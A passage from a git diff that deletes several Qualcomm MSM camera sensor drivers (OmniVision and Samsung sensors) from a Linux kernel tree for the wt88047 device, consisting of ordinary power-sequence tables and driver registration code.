s_ctrl->func_tbl->sensor_power_down(s_ctrl); - else - rc = -EFAULT; - break; - - case CFG_SET_STOP_STREAM_SETTING: { - struct msm_camera_i2c_reg_setting *stop_setting = - &s_ctrl->stop_setting; - struct msm_camera_i2c_reg_array *reg_setting = NULL; - if (copy_from_user(stop_setting, (void *)cdata->cfg.setting, - sizeof(struct msm_camera_i2c_reg_setting))) { - pr_err("%s:%d failed\n", __func__, __LINE__); - rc = -EFAULT; - break; - } - - reg_setting = stop_setting->reg_setting; - stop_setting->reg_setting = kzalloc(stop_setting->size * - (sizeof(struct msm_camera_i2c_reg_array)), GFP_KERNEL); - if (!stop_setting->reg_setting) { - pr_err("%s:%d failed\n", __func__, __LINE__); - rc = -ENOMEM; - break; - } - if (copy_from_user(stop_setting->reg_setting, - (void *)reg_setting, stop_setting->size * - sizeof(struct msm_camera_i2c_reg_array))) { - pr_err("%s:%d failed\n", __func__, __LINE__); - kfree(stop_setting->reg_setting); - stop_setting->reg_setting = NULL; - stop_setting->size = 0; - rc = -EFAULT; - break; - } - break; - } - case CFG_SET_STREAM_TYPE: { - enum msm_camera_stream_type_t stream_type = MSM_CAMERA_STREAM_INVALID; - if (copy_from_user(&stream_type, (void *)cdata->cfg.setting, - sizeof(enum msm_camera_stream_type_t))) { - pr_err("%s:%d failed\n", __func__, __LINE__); - rc = -EFAULT; - break; - } - s_ctrl->camera_stream_type = stream_type; - break; - } - case CFG_SET_SATURATION: - break; - case CFG_SET_CONTRAST: - break; - case CFG_SET_SHARPNESS: - break; - case CFG_SET_AUTOFOCUS: - /* TO-DO: set the Auto Focus */ - pr_debug("%s: Setting Auto Focus", __func__); - break; - case CFG_CANCEL_AUTOFOCUS: - /* TO-DO: Cancel the Auto Focus */ - pr_debug("%s: Cancelling Auto Focus", __func__); - break; - case CFG_SET_ISO: - break; - case CFG_SET_EXPOSURE_COMPENSATION: - break; - case CFG_SET_EFFECT: - break; - case CFG_SET_ANTIBANDING: - break; - case CFG_SET_BESTSHOT_MODE: - break; - case CFG_SET_WHITE_BALANCE: - break; - default: - rc = -EFAULT; - break; - } - - mutex_unlock(s_ctrl->msm_sensor_mutex); - - return rc; -} - -static struct msm_sensor_fn_t ov7695_sensor_func_tbl = { - .sensor_config = ov7695_sensor_config, - .sensor_power_up = msm_sensor_power_up, - .sensor_power_down = msm_sensor_power_down, - .sensor_match_id = msm_sensor_match_id, -}; - -static struct msm_sensor_ctrl_t ov7695_s_ctrl = { - .sensor_i2c_client = &ov7695_sensor_i2c_client, - .power_setting_array.power_setting = ov7695_power_setting, - .power_setting_array.size = ARRAY_SIZE(ov7695_power_setting), - .msm_sensor_mutex = &ov7695_mut, - .sensor_v4l2_subdev_info = ov7695_subdev_info, - .sensor_v4l2_subdev_info_size = ARRAY_SIZE(ov7695_subdev_info), - .func_tbl = &ov7695_sensor_func_tbl, -}; - -module_init(ov7695_init_module); -module_exit(ov7695_exit_module); -MODULE_DESCRIPTION("Aptina 0.3MP YUV sensor driver"); -MODULE_LICENSE("GPL v2"); diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/ov8825.c b/drivers/media/platform/msm/camera_wt88047_v2/sensor/ov8825.c deleted file mode 100644 index e17c94e85b503..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/sensor/ov8825.c +++ /dev/null @@ -1,173 +0,0 @@ -/* Copyright (c) 2013, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - */ -#include "msm_sensor.h" -#define OV8825_SENSOR_NAME "ov8825" -DEFINE_MSM_MUTEX(ov8825_mut); - -static struct msm_sensor_ctrl_t ov8825_s_ctrl; - -static struct msm_sensor_power_setting ov8825_power_setting[] = { - { - .seq_type = SENSOR_VREG, - .seq_val = CAM_VIO, - .config_val = 0, - .delay = 1, - }, - { - .seq_type = SENSOR_VREG, - .seq_val = CAM_VANA, - .config_val = 0, - .delay = 1, - }, - { - .seq_type = SENSOR_VREG, - .seq_val = CAM_VDIG, - .config_val = 0, - .delay = 1, - }, - { - .seq_type = SENSOR_VREG, - .seq_val = CAM_VAF, - .config_val = 0, - .delay = 5, - }, - { - .seq_type = SENSOR_GPIO, - .seq_val = SENSOR_GPIO_STANDBY, - .config_val = GPIO_OUT_LOW, - .delay = 1, - }, - { - .seq_type = SENSOR_GPIO, - .seq_val = SENSOR_GPIO_RESET, - .config_val = GPIO_OUT_LOW, - .delay = 5, - }, - { - .seq_type = SENSOR_GPIO, - .seq_val = SENSOR_GPIO_STANDBY, - .config_val = GPIO_OUT_HIGH, - .delay = 5, - }, - { - .seq_type = SENSOR_GPIO, - .seq_val = SENSOR_GPIO_RESET, - .config_val = GPIO_OUT_HIGH, - .delay = 10, - }, - { - .seq_type = SENSOR_CLK, - .seq_val = SENSOR_CAM_MCLK, - .config_val = 24000000, - .delay = 10, - }, - { - .seq_type = SENSOR_I2C_MUX, - .seq_val = 0, - .config_val = 0, - .delay = 0, - }, -}; - -static struct v4l2_subdev_info ov8825_subdev_info[] = { - { - .code = V4L2_MBUS_FMT_SBGGR10_1X10, - .colorspace = V4L2_COLORSPACE_JPEG, - .fmt = 1, - .order = 0, - }, -}; - -static const struct i2c_device_id ov8825_i2c_id[] = { - {OV8825_SENSOR_NAME, (kernel_ulong_t)&ov8825_s_ctrl}, - { } -}; - -static int32_t msm_ov8825_i2c_probe(struct i2c_client *client, - const struct i2c_device_id *id) -{ - return msm_sensor_i2c_probe(client, id, &ov8825_s_ctrl); -} - -static struct i2c_driver ov8825_i2c_driver = { - .id_table = ov8825_i2c_id, - .probe = msm_ov8825_i2c_probe, - .driver = { - .name = OV8825_SENSOR_NAME, - }, -}; - -static struct msm_camera_i2c_client ov8825_sensor_i2c_client = { - .addr_type = MSM_CAMERA_I2C_WORD_ADDR, -}; - -static const struct of_device_id ov8825_dt_match[] = { - {.compatible = "qcom,ov8825", .data = &ov8825_s_ctrl}, - {} -}; - -MODULE_DEVICE_TABLE(of, ov8825_dt_match); - -static struct platform_driver ov8825_platform_driver = { - .driver = { - .name = "qcom,ov8825", - .owner = THIS_MODULE, - .of_match_table = ov8825_dt_match, - }, -}; - -static int32_t ov8825_platform_probe(struct platform_device *pdev) -{ - int32_t rc = 0; - const struct of_device_id *match; - match = of_match_device(ov8825_dt_match, &pdev->dev); - rc = msm_sensor_platform_probe(pdev, match->data); - return rc; -} - -static int __init ov8825_init_module(void) -{ - int32_t rc = 0; - pr_info("%s:%d\n", __func__, __LINE__); - rc = platform_driver_probe(&ov8825_platform_driver, - ov8825_platform_probe); - if (!rc) - return rc; - pr_err("%s:%d rc %d\n", __func__, __LINE__, rc); - return i2c_add_driver(&ov8825_i2c_driver); -} - -static void __exit ov8825_exit_module(void) -{ - pr_info("%s:%d\n", __func__, __LINE__); - if (ov8825_s_ctrl.pdev) { - msm_sensor_free_sensor_data(&ov8825_s_ctrl); - platform_driver_unregister(&ov8825_platform_driver); - } else - i2c_del_driver(&ov8825_i2c_driver); - return; -} - -static struct msm_sensor_ctrl_t ov8825_s_ctrl = { - .sensor_i2c_client = &ov8825_sensor_i2c_client, - .power_setting_array.power_setting = ov8825_power_setting, - .power_setting_array.size = ARRAY_SIZE(ov8825_power_setting), - .msm_sensor_mutex = &ov8825_mut, - .sensor_v4l2_subdev_info = ov8825_subdev_info, - .sensor_v4l2_subdev_info_size = ARRAY_SIZE(ov8825_subdev_info), -}; - -module_init(ov8825_init_module); -module_exit(ov8825_exit_module); -MODULE_DESCRIPTION("ov8825"); -MODULE_LICENSE("GPL v2"); diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/ov8865.c b/drivers/media/platform/msm/camera_wt88047_v2/sensor/ov8865.c deleted file mode 100644 index 6d788f592b174..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/sensor/ov8865.c +++ /dev/null @@ -1,185 +0,0 @@ -/* Copyright (c) 2013, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - */ -#include "msm_sensor.h" -#define OV8865_SENSOR_NAME "ov8865" -DEFINE_MSM_MUTEX(ov8865_mut); - -static struct msm_sensor_ctrl_t ov8865_s_ctrl; - -static struct msm_sensor_power_setting ov8865_power_setting[] = { - { - .seq_type = SENSOR_VREG, - .seq_val = CAM_VIO, - .config_val = 0, - .delay = 1, - }, - { - .seq_type = SENSOR_VREG, - .seq_val = CAM_VANA, - .config_val = 0, - .delay = 1, - }, - { - .seq_type = SENSOR_VREG, - .seq_val = CAM_VDIG, - .config_val = 0, - .delay = 1, - }, - { - .seq_type = SENSOR_VREG, - .seq_val = CAM_VAF, - .config_val = 0, - .delay = 5, - }, - { - .seq_type = SENSOR_GPIO, - .seq_val = SENSOR_GPIO_STANDBY, - .config_val = GPIO_OUT_LOW, - .delay = 1, - }, - { - .seq_type = SENSOR_GPIO, - .seq_val = SENSOR_GPIO_RESET, - .config_val = GPIO_OUT_LOW, - .delay = 5, - }, - { - .seq_type = SENSOR_GPIO, - .seq_val = SENSOR_GPIO_AF_PWDM, - .config_val = GPIO_OUT_LOW, - .delay = 5, - }, - { - .seq_type = SENSOR_GPIO, - .seq_val = SENSOR_GPIO_STANDBY, - .config_val = GPIO_OUT_HIGH, - .delay = 5, - }, - { - .seq_type = SENSOR_GPIO, - .seq_val = SENSOR_GPIO_RESET, - .config_val = GPIO_OUT_HIGH, - .delay = 10, - }, - { - .seq_type = SENSOR_GPIO, - .seq_val = SENSOR_GPIO_AF_PWDM, - .config_val = GPIO_OUT_HIGH, - .delay = 5, - }, - { - .seq_type = SENSOR_CLK, - .seq_val = SENSOR_CAM_MCLK, - .config_val = 24000000, - .delay = 10, - }, - { - .seq_type = SENSOR_I2C_MUX, - .seq_val = 0, - .config_val = 0, - .delay = 0, - }, -}; - -static struct v4l2_subdev_info ov8865_subdev_info[] = { - { - .code = V4L2_MBUS_FMT_SBGGR10_1X10, - .colorspace = V4L2_COLORSPACE_JPEG, - .fmt = 1, - .order = 0, - }, -}; - -static const struct i2c_device_id ov8865_i2c_id[] = { - {OV8865_SENSOR_NAME, (kernel_ulong_t)&ov8865_s_ctrl}, - { } -}; - -static int32_t msm_ov8865_i2c_probe(struct i2c_client *client, - const struct i2c_device_id *id) -{ - return msm_sensor_i2c_probe(client, id, &ov8865_s_ctrl); -} - -static struct i2c_driver ov8865_i2c_driver = { - .id_table = ov8865_i2c_id, - .probe = msm_ov8865_i2c_probe, - .driver = { - .name = OV8865_SENSOR_NAME, - }, -}; - -static struct msm_camera_i2c_client ov8865_sensor_i2c_client = { - .addr_type = MSM_CAMERA_I2C_WORD_ADDR, -}; - -static const struct of_device_id ov8865_dt_match[] = { - {.compatible = "ovti,ov8865", .data = &ov8865_s_ctrl}, - {} -}; - -MODULE_DEVICE_TABLE(of, ov8865_dt_match); - -static struct platform_driver ov8865_platform_driver = { - .driver = { - .name = "ovti,ov8865", - .owner = THIS_MODULE, - .of_match_table = ov8865_dt_match, - }, -}; - -static int32_t ov8865_platform_probe(struct platform_device *pdev) -{ - int32_t rc = 0; - const struct of_device_id *match; - match = of_match_device(ov8865_dt_match, &pdev->dev); - rc = msm_sensor_platform_probe(pdev, match->data); - return rc; -} - -static int __init ov8865_init_module(void) -{ - int32_t rc = 0; - pr_info("%s:%d\n", __func__, __LINE__); - rc = platform_driver_probe(&ov8865_platform_driver, - ov8865_platform_probe); - if (!rc) - return rc; - pr_err("%s:%d rc %d\n", __func__, __LINE__, rc); - return i2c_add_driver(&ov8865_i2c_driver); -} - -static void __exit ov8865_exit_module(void) -{ - pr_info("%s:%d\n", __func__, __LINE__); - if (ov8865_s_ctrl.pdev) { - msm_sensor_free_sensor_data(&ov8865_s_ctrl); - platform_driver_unregister(&ov8865_platform_driver); - } else - i2c_del_driver(&ov8865_i2c_driver); - return; -} - -static struct msm_sensor_ctrl_t ov8865_s_ctrl = { - .sensor_i2c_client = &ov8865_sensor_i2c_client, - .power_setting_array.power_setting = ov8865_power_setting, - .power_setting_array.size = ARRAY_SIZE(ov8865_power_setting), - .msm_sensor_mutex = &ov8865_mut, - .sensor_v4l2_subdev_info = ov8865_subdev_info, - .sensor_v4l2_subdev_info_size = ARRAY_SIZE(ov8865_subdev_info), -}; - -module_init(ov8865_init_module); -module_exit(ov8865_exit_module); -MODULE_DESCRIPTION("ov8865"); -MODULE_LICENSE("GPL v2"); diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/ov9724.c b/drivers/media/platform/msm/camera_wt88047_v2/sensor/ov9724.c deleted file mode 100644 index 99bf03ab1aa03..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/sensor/ov9724.c +++ /dev/null @@ -1,167 +0,0 @@ -/* Copyright (c) 2013, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - */ -#include "msm_sensor.h" - -#define OV9724_SENSOR_NAME "ov9724" -DEFINE_MSM_MUTEX(ov9724_mut); - -static struct msm_sensor_ctrl_t ov9724_s_ctrl; - -static struct msm_sensor_power_setting ov9724_power_setting[] = { - { - .seq_type = SENSOR_VREG, - .seq_val = CAM_VANA, - .config_val = 0, - .delay = 0, - }, - { - .seq_type = SENSOR_VREG, - .seq_val = CAM_VIO, - .config_val = 0, - .delay = 0, - }, - { - .seq_type = SENSOR_VREG, - .seq_val = CAM_VDIG, - .config_val = 0, - .delay = 0, - }, - { - .seq_type = SENSOR_GPIO, - .seq_val = SENSOR_GPIO_RESET, - .config_val = GPIO_OUT_LOW, - .delay = 5, - }, - { - .seq_type = SENSOR_GPIO, - .seq_val = SENSOR_GPIO_RESET, - .config_val = GPIO_OUT_HIGH, - .delay = 5, - }, - { - .seq_type = SENSOR_GPIO, - .seq_val = SENSOR_GPIO_STANDBY, - .config_val = GPIO_OUT_LOW, - .delay = 5, - }, - { - .seq_type = SENSOR_GPIO, - .seq_val = SENSOR_GPIO_STANDBY, - .config_val = GPIO_OUT_HIGH, - .delay = 10, - }, - { - .seq_type = SENSOR_CLK, - .seq_val = SENSOR_CAM_MCLK, - .config_val = 24000000, - .delay = 10, - }, - { - .seq_type = SENSOR_I2C_MUX, - .seq_val = 0, - .config_val = 0, - .delay = 0, - }, -}; - -static struct v4l2_subdev_info ov9724_subdev_info[] = { - { - .code = V4L2_MBUS_FMT_SBGGR10_1X10, - .colorspace = V4L2_COLORSPACE_JPEG, - .fmt = 1, - .order = 0, - }, -}; - -static int32_t msm_ov9724_i2c_probe(struct i2c_client *client, - const struct i2c_device_id *id) -{ - return msm_sensor_i2c_probe(client, id, &ov9724_s_ctrl); -} - -static const struct i2c_device_id ov9724_i2c_id[] = { - {OV9724_SENSOR_NAME, (kernel_ulong_t)&ov9724_s_ctrl}, - { } -}; - -static struct i2c_driver ov9724_i2c_driver = { - .id_table = ov9724_i2c_id, - .probe = msm_ov9724_i2c_probe, - .driver = { - .name = OV9724_SENSOR_NAME, - }, -}; - -static struct msm_camera_i2c_client ov9724_sensor_i2c_client = { - .addr_type = MSM_CAMERA_I2C_WORD_ADDR, -}; - -static struct msm_sensor_ctrl_t ov9724_s_ctrl = { - .sensor_i2c_client = &ov9724_sensor_i2c_client, - .power_setting_array.power_setting = ov9724_power_setting, - .power_setting_array.size = ARRAY_SIZE(ov9724_power_setting), - .msm_sensor_mutex = &ov9724_mut, - .sensor_v4l2_subdev_info = ov9724_subdev_info, - .sensor_v4l2_subdev_info_size = ARRAY_SIZE(ov9724_subdev_info), -}; - -static const struct of_device_id ov9724_dt_match[] = { - {.compatible = "qcom,ov9724", .data = &ov9724_s_ctrl}, - {} -}; - -MODULE_DEVICE_TABLE(of, ov9724_dt_match); - -static struct platform_driver ov9724_platform_driver = { - .driver = { - .name = "qcom,ov9724", - .owner = THIS_MODULE, - .of_match_table = ov9724_dt_match, - }, -}; - -static int32_t ov9724_platform_probe(struct platform_device *pdev) -{ - int32_t rc = 0; - const struct of_device_id *match; - - match = of_match_device(ov9724_dt_match, &pdev->dev); - rc = msm_sensor_platform_probe(pdev, match->data); - return rc; -} - -static int __init ov9724_init_module(void) -{ - int32_t rc = 0; - - rc = platform_driver_probe(&ov9724_platform_driver, - ov9724_platform_probe); - if (!rc) - return rc; - return i2c_add_driver(&ov9724_i2c_driver); -} - -static void __exit ov9724_exit_module(void) -{ - if (ov9724_s_ctrl.pdev) { - msm_sensor_free_sensor_data(&ov9724_s_ctrl); - platform_driver_unregister(&ov9724_platform_driver); - } else - i2c_del_driver(&ov9724_i2c_driver); - return; -} - -module_init(ov9724_init_module); -module_exit(ov9724_exit_module); -MODULE_DESCRIPTION("ov9724"); -MODULE_LICENSE("GPL v2"); diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/s5k3l1yx.c b/drivers/media/platform/msm/camera_wt88047_v2/sensor/s5k3l1yx.c deleted file mode 100644 index 225e81d94cdb8..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/sensor/s5k3l1yx.c +++ /dev/null @@ -1,173 +0,0 @@ -/* Copyright (c) 2012-2013, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - */ -#include "msm_sensor.h" -#define S5K3L1YX_SENSOR_NAME "s5k3l1yx" -DEFINE_MSM_MUTEX(s5k3l1yx_mut); - -static struct msm_sensor_ctrl_t s5k3l1yx_s_ctrl; - -static struct msm_sensor_power_setting s5k3l1yx_power_setting[] = { - { - .seq_type = SENSOR_VREG, - .seq_val = CAM_VDIG, - .config_val = 0, - .delay = 0, - }, - { - .seq_type = SENSOR_VREG, - .seq_val = CAM_VANA, - .config_val = 0, - .delay = 0, - }, - { - .seq_type = SENSOR_VREG, - .seq_val = CAM_VIO, - .config_val = 0, - .delay = 0, - }, - { - .seq_type = SENSOR_VREG, - .seq_val = CAM_VAF, - .config_val = 0, - .delay = 0, - }, - { - .seq_type = SENSOR_GPIO, - .seq_val = SENSOR_GPIO_RESET, - .config_val = GPIO_OUT_LOW, - .delay = 1, - }, - { - .seq_type = SENSOR_GPIO, - .seq_val = SENSOR_GPIO_RESET, - .config_val = GPIO_OUT_HIGH, - .delay = 30, - }, - { - .seq_type = SENSOR_GPIO, - .seq_val = SENSOR_GPIO_STANDBY, - .config_val = GPIO_OUT_LOW, - .delay = 1, - }, - { - .seq_type = SENSOR_GPIO, - .seq_val = SENSOR_GPIO_STANDBY, - .config_val = GPIO_OUT_HIGH, - .delay = 30, - }, - { - .seq_type = SENSOR_CLK, - .seq_val = SENSOR_CAM_MCLK, - .config_val = 0, - .delay = 1, - }, - { - .seq_type = SENSOR_I2C_MUX, - .seq_val = 0, - .config_val = 0, - .delay = 0, - }, -}; - -static struct v4l2_subdev_info s5k3l1yx_subdev_info[] = { - { - .code = V4L2_MBUS_FMT_SBGGR10_1X10, - .colorspace = V4L2_COLORSPACE_JPEG, - .fmt = 1, - .order = 0, - }, -}; - -static const struct i2c_device_id s5k3l1yx_i2c_id[] = { - {S5K3L1YX_SENSOR_NAME, (kernel_ulong_t)&s5k3l1yx_s_ctrl}, - { } -}; - -static int32_t msm_s5k3l1yx_i2c_probe(struct i2c_client *client, - const struct i2c_device_id *id) -{ - return msm_sensor_i2c_probe(client, id, &s5k3l1yx_s_ctrl); -} - -static struct i2c_driver s5k3l1yx_i2c_driver = { - .id_table = s5k3l1yx_i2c_id, - .probe = msm_s5k3l1yx_i2c_probe, - .driver = { - .name = S5K3L1YX_SENSOR_NAME, - }, -}; - -static struct msm_camera_i2c_client s5k3l1yx_sensor_i2c_client = { - .addr_type = MSM_CAMERA_I2C_WORD_ADDR, -}; - -static const struct of_device_id s5k3l1yx_dt_match[] = { - {.compatible = "qcom,s5k3l1yx", .data = &s5k3l1yx_s_ctrl}, - {} -}; - -MODULE_DEVICE_TABLE(of, s5k3l1yx_dt_match); - -static struct platform_driver s5k3l1yx_platform_driver = { - .driver = { - .name = "qcom,s5k3l1yx", - .owner = THIS_MODULE, - .of_match_table = s5k3l1yx_dt_match, - }, -}; - -static int32_t s5k3l1yx_platform_probe(struct platform_device *pdev) -{ - int32_t rc = 0; - const struct of_device_id *match; - match = of_match_device(s5k3l1yx_dt_match, &pdev->dev); - rc = msm_sensor_platform_probe(pdev, match->data); - return rc; -} - -static int __init s5k3l1yx_init_module(void) -{ - int32_t rc = 0; - pr_info("%s:%d\n", __func__, __LINE__); - rc = platform_driver_probe(&s5k3l1yx_platform_driver, - s5k3l1yx_platform_probe); - if (!rc) - return rc; - pr_err("%s:%d rc %d\n", __func__, __LINE__, rc); - return i2c_add_driver(&s5k3l1yx_i2c_driver); -} - -static void __exit s5k3l1yx_exit_module(void) -{ - pr_info("%s:%d\n", __func__, __LINE__); - if (s5k3l1yx_s_ctrl.pdev) { - msm_sensor_free_sensor_data(&s5k3l1yx_s_ctrl); - platform_driver_unregister(&s5k3l1yx_platform_driver); - } else - i2c_del_driver(&s5k3l1yx_i2c_driver); - return; -} - -static struct msm_sensor_ctrl_t s5k3l1yx_s_ctrl = { - .sensor_i2c_client = &s5k3l1yx_sensor_i2c_client, - .power_setting_array.power_setting = s5k3l1yx_power_setting, - .power_setting_array.size = ARRAY_SIZE(s5k3l1yx_power_setting), - .msm_sensor_mutex = &s5k3l1yx_mut, - .sensor_v4l2_subdev_info = s5k3l1yx_subdev_info, - .sensor_v4l2_subdev_info_size = ARRAY_SIZE(s5k3l1yx_subdev_info), -}; - -module_init(s5k3l1yx_init_module); -module_exit(s5k3l1yx_exit_module); -MODULE_DESCRIPTION("s5k3l1yx"); -MODULE_LICENSE("GPL v2"); diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/s5k4e1.c b/drivers/media/platform/msm/camera_wt88047_v2/sensor/s5k4e1.c deleted file mode 100644 index 5c70df2dec56e..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/sensor/s5k4e1.c +++ /dev/null @@ -1,167 +0,0 @@ -/* Copyright (c) 2013, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - */ -#include "msm_sensor.h" -#define s5k4e1_SENSOR_NAME "s5k4e1" -DEFINE_MSM_MUTEX(s5k4e1_mut); - -static struct msm_sensor_ctrl_t s5k4e1_s_ctrl; - -static struct msm_sensor_power_setting s5k4e1_power_setting[] = { - { - .seq_type = SENSOR_VREG, - .seq_val = CAM_VIO, - .config_val = 0, - .delay = 0, - }, - { - .seq_type = SENSOR_VREG, - .seq_val = CAM_VANA, - .config_val = 0, - .delay = 0, - }, - { - .seq_type = SENSOR_VREG, - .seq_val = CAM_VDIG, - .config_val = 0, - .delay = 0, - }, - { - .seq_type = SENSOR_GPIO, - .seq_val = SENSOR_GPIO_RESET, - .config_val = GPIO_OUT_LOW, - .delay = 1, - }, - { - .seq_type = SENSOR_GPIO, - .seq_val = SENSOR_GPIO_RESET, - .config_val = GPIO_OUT_HIGH, - .delay = 30, - }, - { - .seq_type = SENSOR_GPIO, - .seq_val = SENSOR_GPIO_STANDBY, - .config_val = GPIO_OUT_LOW, - .delay = 1, - }, - { - .seq_type = SENSOR_GPIO, - .seq_val = SENSOR_GPIO_STANDBY, - .config_val = GPIO_OUT_HIGH, - .delay = 30, - }, - { - .seq_type = SENSOR_CLK, - .seq_val = SENSOR_CAM_MCLK, - .config_val = 24000000, - .delay = 1, - }, - { - .seq_type = SENSOR_I2C_MUX, - .seq_val = 0, - .config_val = 0, - .delay = 1, - }, -}; - -static struct v4l2_subdev_info s5k4e1_subdev_info[] = { - { - .code = V4L2_MBUS_FMT_SGRBG10_1X10, - .colorspace = V4L2_COLORSPACE_JPEG, - .fmt = 1, - .order = 0, - }, -}; - -static const struct i2c_device_id s5k4e1_i2c_id[] = { - {s5k4e1_SENSOR_NAME, (kernel_ulong_t)&s5k4e1_s_ctrl}, - { } -}; - -static int32_t msm_s5k4e1_i2c_probe(struct i2c_client *client, - const struct i2c_device_id *id) -{ - return msm_sensor_i2c_probe(client, id, &s5k4e1_s_ctrl); -} - -static struct i2c_driver s5k4e1_i2c_driver = { - .id_table = s5k4e1_i2c_id, - .probe = msm_s5k4e1_i2c_probe, - .driver = { - .name = s5k4e1_SENSOR_NAME, - }, -}; - -static struct msm_camera_i2c_client s5k4e1_sensor_i2c_client = { - .addr_type = MSM_CAMERA_I2C_WORD_ADDR, -}; - -static const struct of_device_id s5k4e1_dt_match[] = { - {.compatible = "shinetech,s5k4e1", .data = &s5k4e1_s_ctrl}, - {} -}; - -MODULE_DEVICE_TABLE(of, s5k4e1_dt_match); - -static struct platform_driver s5k4e1_platform_driver = { - .driver = { - .name = "shinetech,s5k4e1", - .owner = THIS_MODULE, - .of_match_table = s5k4e1_dt_match, - }, -}; - -static int32_t s5k4e1_platform_probe(struct platform_device *pdev) -{ - int32_t rc = 0; - const struct of_device_id *match; - match = of_match_device(s5k4e1_dt_match, &pdev->dev); - rc = msm_sensor_platform_probe(pdev, match->data); - return rc; -} - -static int __init s5k4e1_init_module(void) -{ - int32_t rc = 0; - pr_info("%s:%d\n", __func__, __LINE__); - rc = platform_driver_probe(&s5k4e1_platform_driver, - s5k4e1_platform_probe); - if (!rc) - return rc; - pr_err("%s:%d rc %d\n", __func__, __LINE__, rc); - return i2c_add_driver(&s5k4e1_i2c_driver); -} - -static void __exit s5k4e1_exit_module(void) -{ - pr_info("%s:%d\n", __func__, __LINE__); - if (s5k4e1_s_ctrl.pdev) { - msm_sensor_free_sensor_data(&s5k4e1_s_ctrl); - platform_driver_unregister(&s5k4e1_platform_driver); - } else - i2c_del_driver(&s5k4e1_i2c_driver); - return; -} - -static struct msm_sensor_ctrl_t s5k4e1_s_ctrl = { - .sensor_i2c_client = &s5k4e1_sensor_i2c_client, - .power_setting_array.power_setting = s5k4e1_power_setting, - .power_setting_array.size = ARRAY_SIZE(s5k4e1_power_setting), - .msm_sensor_mutex = &s5k4e1_mut, - .sensor_v4l2_subdev_info = s5k4e1_subdev_info, - .sensor_v4l2_subdev_info_size = ARRAY_SIZE(s5k4e1_subdev_info), -}; - -module_init(s5k4e1_init_module); -module_exit(s5k4e1_exit_module); -MODULE_DESCRIPTION("s5k4e1"); -MODULE_LICENSE("GPL v2"); diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/sp1628.c b/drivers/media/platform/msm/camera_wt88047_v2/sensor/sp1628.c deleted file mode 100644 index 6cd06582fb367..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/sensor/sp1628.c +++ /dev/null @@ -1,992 +0,0 @@ -/* Copyright (c) 2011-2014, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - */ -#include "msm_sensor.h" -#include "msm_cci.h" -#include "msm_camera_io_util.h" - -#define CONFIG_MSMB_CAMERA_DEBUG - -#undef CDBG -#ifdef CONFIG_MSMB_CAMERA_DEBUG -#define CDBG(fmt, args...) pr_err(fmt, ##args) -#else -#define CDBG(fmt, args...) do { } while (0) -#endif - -#define SP1628_SENSOR_NAME "sp1628" -DEFINE_MSM_MUTEX(sp1628_mut); - -static struct msm_sensor_ctrl_t sp1628_s_ctrl; - -static struct msm_sensor_power_setting sp1628_power_setting[] = { - { - .seq_type = SENSOR_VREG, - .seq_val = CAM_VDIG, - .config_val = 0, - .delay = 0, - }, - { - .seq_type = SENSOR_VREG, - .seq_val = CAM_VIO, - .config_val = 0, - .delay = 0, - }, - { - .seq_type = SENSOR_VREG, - .seq_val = CAM_VANA, - .config_val = 0, - .delay = 5, - }, - { - .seq_type = SENSOR_GPIO, - .seq_val = SENSOR_GPIO_STANDBY, - .config_val = GPIO_OUT_HIGH, - .delay = 50, - }, - - { - .seq_type = SENSOR_GPIO, - .seq_val = SENSOR_GPIO_RESET, - .config_val = GPIO_OUT_HIGH, - .delay = 50, - }, - { - .seq_type = SENSOR_GPIO, - .seq_val = SENSOR_GPIO_RESET, - .config_val = GPIO_OUT_LOW, - .delay = 50, - }, - { - .seq_type = SENSOR_GPIO, - .seq_val = SENSOR_GPIO_RESET, - .config_val = GPIO_OUT_HIGH, - .delay = 50, - }, - { - .seq_type = SENSOR_GPIO, - .seq_val = SENSOR_GPIO_STANDBY, - .config_val = GPIO_OUT_LOW, - 